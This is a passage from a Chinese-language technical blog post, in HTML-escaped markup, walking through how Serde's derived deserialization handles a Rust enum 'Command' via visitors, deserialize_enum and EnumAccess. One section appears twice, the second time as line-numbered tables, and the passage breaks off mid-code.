&lt;li&gt;既然解析出了&amp;amp;str类型的数据，那么就应该期待，&lt;code&gt;visitor&lt;&#x2F;code&gt;可以拿这个&amp;amp;str去构建一个&lt;code&gt;__Field&lt;&#x2F;code&gt;实例。所以&lt;code&gt;deserializer_str&lt;&#x2F;code&gt;就会使用之前&lt;code&gt;__FieldVisitor&lt;&#x2F;code&gt;的&lt;code&gt;visit_str&lt;&#x2F;code&gt;方法，让工具人自己去处理。这里实际调用的&lt;code&gt;visit_borrowed_str&lt;&#x2F;code&gt;，其&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.serde.rs&#x2F;src&#x2F;serde&#x2F;de&#x2F;mod.rs.html#1484-1490&quot;&gt;默认实现&lt;&#x2F;a&gt;就是调用&lt;code&gt;visit_str&lt;&#x2F;code&gt;。分得如此细，和生命周期、性能等有关，这里暂不关注。&lt;code&gt;visit_str&lt;&#x2F;code&gt;方法自然会根据&lt;code&gt;xxx&lt;&#x2F;code&gt;返回相应的&lt;code&gt;__Field::__fieldx&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;到这里其实已经看到了一个局部相对完整的序列化过程，但也只反序列化了一个标识符。下面会再看我们&lt;code&gt;Command&lt;&#x2F;code&gt;到底是怎么构建的，过程的骨架其实也就这样了。&lt;&#x2F;p&gt;
&lt;p&gt;有个题外话，注意这里从数据中解析出str的函数，&lt;code&gt;parse_string&lt;&#x2F;code&gt;，也由&lt;code&gt;deserializer&lt;&#x2F;code&gt;实现，但是官方有提醒，&lt;strong&gt;Serde框架内，实际上并不包含解析&lt;&#x2F;strong&gt;，更有效率的方式是使用专门的解析库来帮助实现&lt;code&gt;deserializer&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&#x2F;&#x2F; SERDE IS NOT A PARSING LIBRARY. This impl block defines a few basic parsing
&#x2F;&#x2F; functions from scratch. More complicated formats may wish to use a dedicated
&#x2F;&#x2F; parsing library to help implement their Serde deserializer&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;commandde-fan-xu-lie-hua&quot;&gt;Command的反序列化&lt;&#x2F;h2&gt;
&lt;p&gt;因为我们想要反序列化&lt;code&gt;Command&lt;&#x2F;code&gt;，所以给&lt;code&gt;Command&lt;&#x2F;code&gt;也要整一个visitor，其结构为被命名为&lt;code&gt;__Visitor&lt;&#x2F;code&gt;。看上去这个visitor有两个字段，&lt;code&gt;marker&lt;&#x2F;code&gt;和&lt;code&gt;lifetime&lt;&#x2F;code&gt;，&lt;code&gt;PhantomData&lt;&#x2F;code&gt;类型，看上去就很厉害，但是我没找到使用这个两个字段的代码，应该对我们理解总体逻辑没有太多阻碍，所以这里暂时跳过吧。（实际上我至今还是没有理解这个marker的作用是啥，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;crate&#x2F;serde_derive&#x2F;1.0.103&#x2F;source&#x2F;src&#x2F;de.rs&quot;&gt;源码&lt;&#x2F;a&gt;中也没有相关的注释）&lt;&#x2F;p&gt;
&lt;p&gt;为&lt;code&gt;__Visitor&lt;&#x2F;code&gt;实现&lt;code&gt;Visitor&lt;&#x2F;code&gt; trait 的这一段代码看上去很长，有点唬人，但其实是一个match+嵌套，所以先撇开嵌套的内容，看主体的match。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct __Visitor&amp;lt;&amp;#x27;de&amp;gt; {
    marker: _serde::export::PhantomData&amp;lt;Command&amp;gt;,
    lifetime: _serde::export::PhantomData&amp;lt;&amp;amp;&amp;#x27;de ()&amp;gt;,
}
impl&amp;lt;&amp;#x27;de&amp;gt; _serde::de::Visitor&amp;lt;&amp;#x27;de&amp;gt; for __Visitor&amp;lt;&amp;#x27;de&amp;gt; {
    type Value = Command;
    fn expecting(&amp;amp;self, __formatter: &amp;amp;mut _serde::export::Formatter) -&amp;gt; _serde::export::fmt::Result {
        _serde::export::Formatter::write_str(__formatter, &amp;quot;enum Command&amp;quot;)
    }
    &amp;#x2F;&amp;#x2F; Command由“代表枚举的数据”转换而来
    fn visit_enum&amp;lt;__A&amp;gt;(self, __data: __A) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __A::Error&amp;gt;
    where
    __A: _serde::de::EnumAccess&amp;lt;&amp;#x27;de&amp;gt;,
    {
        &amp;#x2F;&amp;#x2F; 重点步骤，这里解析出数据具体是哪个枚举，后文会再回顾这里的操作
        match match _serde::de::EnumAccess::variant(__data) {
            _serde::export::Ok(__val) =&amp;gt; __val,
            _serde::export::Err(__err) =&amp;gt; {
                return _serde::export::Err(__err);
            }
        } {
            (__Field::__field0, __variant) =&amp;gt; {
                &amp;#x2F;&amp;#x2F; 开始嵌套，如果是Set类型，就再利用Field模式，解析Key、Value的identifier
                &amp;#x2F;&amp;#x2F; 然后再新造一个Set的visitor，利用后续的数据构建Command::Set
            }
            (__Field::__field1, __variant) =&amp;gt; { &amp;#x2F;&amp;#x2F; Get基本步骤同Set }
            (__Field::__field2, __variant) =&amp;gt; {...}
            (__Field::__field3, __variant) =&amp;gt; {...}
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以&lt;code&gt;Command&lt;&#x2F;code&gt;的&lt;code&gt;visitor&lt;&#x2F;code&gt;的透露的大体信息是，&lt;code&gt;deserializer&lt;&#x2F;code&gt;只有给我提供一个&lt;code&gt;EnumAccess&amp;lt;&#x27;de&amp;gt;-thing&lt;&#x2F;code&gt;这种数据，我才能构建一个&lt;code&gt;Command&lt;&#x2F;code&gt;，具体的做法，就是利用之前的&lt;code&gt;__Field&lt;&#x2F;code&gt;相关结构，判断是具体哪种&lt;code&gt;Command&lt;&#x2F;code&gt;后，再采用不同的策略构建。这里先不深究细节，我们接着走流程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Command&lt;&#x2F;code&gt;的&lt;code&gt;visitor&lt;&#x2F;code&gt;整好了，也有相似的入口来使用，&lt;code&gt;Command&lt;&#x2F;code&gt;通过&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;提示&lt;code&gt;deserializer&lt;&#x2F;code&gt;，接下来的数据应该是为enum准备，你看着办，顺便告诉你，这个enum的名字是&lt;code&gt;&quot;Command”&lt;&#x2F;code&gt;，枚举的项目是&lt;code&gt;Set、Get、Rm、Quit&lt;&#x2F;code&gt;四种。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[automatically_derived]
impl&amp;lt;&amp;#x27;de&amp;gt; _serde::Deserialize&amp;lt;&amp;#x27;de&amp;gt; for Command {
    fn deserialize&amp;lt;__D&amp;gt;(__deserializer: __D) -&amp;gt; _serde::export::Result&amp;lt;Self, __D::Error&amp;gt;
    where
    	__D: _serde::Deserializer&amp;lt;&amp;#x27;de&amp;gt;,
    {
        const VARIANTS: &amp;amp;&amp;#x27;static [&amp;amp;&amp;#x27;static str] = &amp;amp;[&amp;quot;Set&amp;quot;, &amp;quot;Get&amp;quot;, &amp;quot;Rm&amp;quot;, &amp;quot;Quit&amp;quot;];
        _serde::Deserializer::deserialize_enum(
            __deserializer,
            &amp;quot;Command&amp;quot;,
            VARIANTS,
            __Visitor {
                marker: _serde::export::PhantomData::&amp;lt;Command&amp;gt;,
                lifetime: _serde::export::PhantomData,
            },
        )
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;是怎么实现的呢？json格式的&lt;code&gt;deserializer&lt;&#x2F;code&gt;被提示接下来的数据是为enum准备的之后，立刻明白，一个enum，经过合法序列化后，只能由&lt;code&gt;&quot;&lt;&#x2F;code&gt;或者&lt;code&gt;{&lt;&#x2F;code&gt;开头，所以分两种情况，围绕自己的input数据，为&lt;code&gt;visitor&lt;&#x2F;code&gt;的创建提供基础材料。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn deserialize_enum&amp;lt;V&amp;gt;(
        self,
        _name: &amp;amp;&amp;#x27;static str,
        _variants: &amp;amp;&amp;#x27;static [&amp;amp;&amp;#x27;static str],
        visitor: V,
    ) -&amp;gt; Result&amp;lt;V::Value&amp;gt;
    where
        V: Visitor&amp;lt;&amp;#x27;de&amp;gt;,
    {
        if self.peek_char()? == &amp;#x27;&amp;quot;&amp;#x27; {
            &amp;#x2F;&amp;#x2F; Visit a unit variant.
            visitor.visit_enum(self.parse_string()?.into_deserializer())
        } else if self.next_char()? == &amp;#x27;{&amp;#x27; {
            &amp;#x2F;&amp;#x2F; Visit a newtype variant, tuple variant, or struct variant.
            let value = visitor.visit_enum(Enum::new(self))?;
            &amp;#x2F;&amp;#x2F; Parse the matching close brace.
            if self.next_char()? == &amp;#x27;}&amp;#x27; {
                Ok(value)
            } else {
                Err(Error::ExpectedMapEnd)
            }
        } else {
            Err(Error::ExpectedEnum)
        }
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提供什么样的材料呢？这要看&lt;code&gt;deserializer&lt;&#x2F;code&gt;具体选用&lt;code&gt;visitor&lt;&#x2F;code&gt;的哪个方法。这里使用的&lt;code&gt;visit_enum&lt;&#x2F;code&gt;方法(当然&lt;code&gt;__Visitor&lt;&#x2F;code&gt;也只实现了&lt;code&gt;visit_enum&lt;&#x2F;code&gt;方法)，所以按照其签名，应该为其提供一个实现&lt;code&gt;EnumAccess&lt;&#x2F;code&gt; trait的东西。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;self.parse_string()?.into_deserializer()&lt;&#x2F;code&gt;提供的流程是，分析出&lt;code&gt;str&lt;&#x2F;code&gt;，经过&lt;code&gt;into_deserializer()&lt;&#x2F;code&gt;变为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;serde&#x2F;1.0.104&#x2F;serde&#x2F;de&#x2F;value&#x2F;struct.StrDeserializer.html&quot;&gt;StrDeserializer&lt;&#x2F;a&gt;，而一个&lt;code&gt;StrDeserializer&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;serde&#x2F;1.0.104&#x2F;src&#x2F;serde&#x2F;de&#x2F;value.rs.html#405-418&quot;&gt;默认实现&lt;&#x2F;a&gt;了&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Enum::new(self)&lt;&#x2F;code&gt;提供的流程就很直接，自定义了一个实现&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;的结构叫做&lt;code&gt;Enum&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以到这里，上一节分析的”工具人套工具人”的骨架就分析完了。复习一下， 总体过程是，&lt;code&gt;Command::deserialize&lt;&#x2F;code&gt;通过调用&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;方法提示&lt;code&gt;deserializer&lt;&#x2F;code&gt;，接下来的序列化数据是为enum准备的，并且为&lt;code&gt;deserializer&lt;&#x2F;code&gt;提供一个实现了&lt;code&gt;visit_enum&lt;&#x2F;code&gt;(接受&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;，返还&lt;code&gt;Command&lt;&#x2F;code&gt;)的&lt;code&gt;visitor&lt;&#x2F;code&gt;。于是&lt;code&gt;deserializer&lt;&#x2F;code&gt;根据json的规则知道，接下的序列化数据应该会是&lt;code&gt;&quot;&lt;&#x2F;code&gt;或者&lt;code&gt;{&lt;&#x2F;code&gt;开头，分为两种情况，制作出一个&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;，然后交给&lt;code&gt;visit_enum&lt;&#x2F;code&gt;去构建&lt;code&gt;Command&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这时，我们更详细地去看这个过程，&lt;code&gt;visit_enum&lt;&#x2F;code&gt;是怎么做的，&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;又是如何与它配合的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;visit-enumli&quot;&gt;visit_enum里&lt;&#x2F;h2&gt;
&lt;p&gt;为了方便叙述，把&lt;code&gt;visit_enum&lt;&#x2F;code&gt;再抄到这里&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn visit_enum&amp;lt;__A&amp;gt;(self, __data: __A) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __A::Error&amp;gt;
where
	__A: _serde::de::EnumAccess&amp;lt;&amp;#x27;de&amp;gt;,
{
    match match _serde::de::EnumAccess::variant(__data) {
        _serde::export::Ok(__val) =&amp;gt; __val,
        _serde::export::Err(__err) =&amp;gt; {
            return _serde::export::Err(__err);
        }
    } {
        (__Field::__field0, __variant) =&amp;gt; {...},
        (__Field::__field1, __variant) =&amp;gt; {...},
        (__Field::__field2, __variant) =&amp;gt; {...},
        (__Field::__field3, __variant) =&amp;gt; {...},
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时也附上&lt;code&gt;EnumAccess&lt;&#x2F;code&gt; trait的定义&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;docs.serde.rs&amp;#x2F;serde&amp;#x2F;de&amp;#x2F;trait.EnumAccess.html
pub trait EnumAccess&amp;lt;&amp;#x27;de&amp;gt;: Sized {
    type Error: Error;
    type Variant: VariantAccess&amp;lt;&amp;#x27;de, Error = Self::Error&amp;gt;;
    fn variant_seed&amp;lt;V&amp;gt;(
        self,
        seed: V
    ) -&amp;gt; Result&amp;lt;(V::Value, Self::Variant), Self::Error&amp;gt;
    where
        V: DeserializeSeed&amp;lt;&amp;#x27;de&amp;gt;;

    fn variant&amp;lt;V&amp;gt;(self) -&amp;gt; Result&amp;lt;(V, Self::Variant), Self::Error&amp;gt;
    where
        V: Deserialize&amp;lt;&amp;#x27;de&amp;gt;,
    {
        &amp;#x2F;&amp;#x2F; 默认实现
        self.variant_seed(PhantomData)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一开始，对&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;调用&lt;code&gt;variant&lt;&#x2F;code&gt;方法，它返回一个tuple，从后续match分支可以推断，第一项是之前定义的&lt;code&gt;__Field&lt;&#x2F;code&gt;，第二项，从&lt;code&gt;variant&lt;&#x2F;code&gt;方法的签名可知，是&lt;code&gt;VariantAccess-thing&lt;&#x2F;code&gt;。自然地，通过匹配&lt;code&gt;__Field&lt;&#x2F;code&gt;，就可以知道数据本身是Set、Get、Rm、Quit中的哪一个，然后继续利用产生的&lt;code&gt;VariantAccess-thing&lt;&#x2F;code&gt;做继续的处理……但是，等一等，这是怎么办到的？什么时候利用数据反序列化出了一个&lt;code&gt;__Field&lt;&#x2F;code&gt;？&lt;code&gt;__Field::deserialize&lt;&#x2F;code&gt;在哪儿被偷偷摸摸地调用的了？&lt;&#x2F;p&gt;
&lt;p&gt;要解决这个疑问，自然要看&lt;code&gt;variant&lt;&#x2F;code&gt;的内部，所以自然要看具体的&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;实现&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; de.rs
struct Enum&amp;lt;&amp;#x27;a, &amp;#x27;de: &amp;#x27;a&amp;gt; {
    de: &amp;amp;&amp;#x27;a mut Deserializer&amp;lt;&amp;#x27;de&amp;gt;,
}

impl&amp;lt;&amp;#x27;a, &amp;#x27;de&amp;gt; Enum&amp;lt;&amp;#x27;a, &amp;#x27;de&amp;gt; {
    fn new(de: &amp;amp;&amp;#x27;a mut Deserializer&amp;lt;&amp;#x27;de&amp;gt;) -&amp;gt; Self {
        Enum { de }
    }
}

impl&amp;lt;&amp;#x27;de, &amp;#x27;a&amp;gt; EnumAccess&amp;lt;&amp;#x27;de&amp;gt; for Enum&amp;lt;&amp;#x27;a, &amp;#x27;de&amp;gt; {
    type Error = Error;
    type Variant = Self;

    fn variant_seed&amp;lt;V&amp;gt;(self, seed: V) -&amp;gt; Result&amp;lt;(V::Value, Self::Variant)&amp;gt;
    where
        V: DeserializeSeed&amp;lt;&amp;#x27;de&amp;gt;,
    {
        let val = seed.deserialize(&amp;amp;mut *self.de)?;
        if self.de.next_char()? == &amp;#x27;:&amp;#x27; {
            Ok((val, self))
        } else {
            Err(Error::ExpectedMapColon)
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我的第一反应，自然是找&lt;code&gt;__Field::deserialize&lt;&#x2F;code&gt;方法。但是只找到一个&lt;code&gt;seed.deserialize&lt;&#x2F;code&gt;，那么不负责任地一猜，这个seed应该是&lt;code&gt;__Field&lt;&#x2F;code&gt;的一个实例，但是被当场打脸，因为由&lt;code&gt;variant&lt;&#x2F;code&gt;传入的，又是个&lt;code&gt;PhantomData&lt;&#x2F;code&gt;，所以这个东西是铁定绕不过了？还有那个&lt;code&gt;variant_seed&lt;&#x2F;code&gt;方法中要求的&lt;code&gt;DeserializeSeed&lt;&#x2F;code&gt;又是什么东西？这个过程到底怎么回事？&lt;&#x2F;p&gt;
&lt;p&gt;为了控制一下篇幅，这些疑问下一篇继续解答。&lt;&#x2F;p&gt;
&lt;p&gt;到这里，我们其实已经收获颇丰，知道了visitor的存在，也大概清楚了三种角色的交互逻辑。后续的问题，实际上是反序列化一些集合类型时的所需要的细节。继续之前，先休息一下。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;commandde-fan-xu-lie-hua-1&quot;&gt;Command的反序列化&lt;&#x2F;h2&gt;
&lt;p&gt;因为我们想要反序列化&lt;code&gt;Command&lt;&#x2F;code&gt;，所以给&lt;code&gt;Command&lt;&#x2F;code&gt;也要整一个visitor，其结构为被命名为&lt;code&gt;__Visitor&lt;&#x2F;code&gt;。看上去这个visitor有两个字段，&lt;code&gt;marker&lt;&#x2F;code&gt;和&lt;code&gt;lifetime&lt;&#x2F;code&gt;，&lt;code&gt;PhantomData&lt;&#x2F;code&gt;类型，看上去就很厉害，但是我没找到使用这个两个字段的代码，应该对我们理解总体逻辑没有太多阻碍，所以这里暂时跳过吧。（实际上我至今还是没有理解这个marker的作用是啥，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;crate&#x2F;serde_derive&#x2F;1.0.103&#x2F;source&#x2F;src&#x2F;de.rs&quot;&gt;源码&lt;&#x2F;a&gt;中也没有相关的注释）&lt;&#x2F;p&gt;
&lt;p&gt;为&lt;code&gt;__Visitor&lt;&#x2F;code&gt;实现&lt;code&gt;Visitor&lt;&#x2F;code&gt; trait 的这一段代码看上去很长，有点唬人，但其实是一个match+嵌套，所以先撇开嵌套的内容，看主体的match。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct __Visitor&amp;lt;&#x27;de&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  marker: _serde::export::PhantomData,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    lifetime: _serde::export::PhantomData&amp;lt;&amp;amp;&#x27;de ()&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl&amp;lt;&#x27;de&amp;gt; _serde::Visitor&amp;lt;&#x27;de&amp;gt; for __Visitor&amp;lt;&#x27;de&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    type Value = Command;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn expecting(&amp;amp;self, __formatter: &amp;amp;mut _serde::export::Formatter) -&amp;gt; _serde::export::fmt::Result {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _serde::export::Formatter::write_str(__formatter, &quot;enum Command&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; Command由“代表枚举的数据”转换而来&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn visit_enum&amp;lt;__A&amp;gt;(self, __data: __A) -&amp;gt; _serde::export::Result&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    __A: _serde::EnumAccess&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &#x2F;&#x2F; 重点步骤，这里解析出数据具体是哪个枚举，后文会再回顾这里的操作&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        match match _serde::EnumAccess::variant(__data) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            _serde::export::Ok(__val) =&amp;gt; __val,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            _serde::export::Err(__err) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                return _serde::export::Err(__err);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            (__Field::__field0, __variant) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                &#x2F;&#x2F; 开始嵌套，如果是Set类型，就再利用Field模式，解析Key、Value的identifier&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                &#x2F;&#x2F; 然后再新造一个Set的visitor，利用后续的数据构建Command::Set&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            (__Field::__field1, __variant) =&amp;gt; { &#x2F;&#x2F; Get基本步骤同Set }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         (__Field::__field2, __variant) =&amp;gt; {...}           &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         (__Field::__field3, __variant) =&amp;gt; {...}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以&lt;code&gt;Command&lt;&#x2F;code&gt;的&lt;code&gt;visitor&lt;&#x2F;code&gt;的透露的大体信息是，&lt;code&gt;deserializer&lt;&#x2F;code&gt;只有给我提供一个&lt;code&gt;EnumAccess&amp;lt;&#x27;de&amp;gt;-thing&lt;&#x2F;code&gt;这种数据，我才能构建一个&lt;code&gt;Command&lt;&#x2F;code&gt;，具体的做法，就是利用之前的&lt;code&gt;__Field&lt;&#x2F;code&gt;相关结构，判断是具体哪种&lt;code&gt;Command&lt;&#x2F;code&gt;后，再采用不同的策略构建。这里先不深究细节，我们接着走流程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Command&lt;&#x2F;code&gt;的&lt;code&gt;visitor&lt;&#x2F;code&gt;整好了，也有相似的入口来使用，&lt;code&gt;Command&lt;&#x2F;code&gt;通过&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;提示&lt;code&gt;deserializer&lt;&#x2F;code&gt;，接下来的数据应该是为enum准备，你看着办，顺便告诉你，这个enum的名字是&lt;code&gt;&quot;Command”&lt;&#x2F;code&gt;，枚举的项目是&lt;code&gt;Set、Get、Rm、Quit&lt;&#x2F;code&gt;四种。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#[automatically_derived]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl&amp;lt;&#x27;de&amp;gt; _serde::Deserialize&amp;lt;&#x27;de&amp;gt; for Command {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn deserialize&amp;lt;__D&amp;gt;(__deserializer: __D) -&amp;gt; _serde::export::Result&lt;&#x2F;code&gt;&lt;br 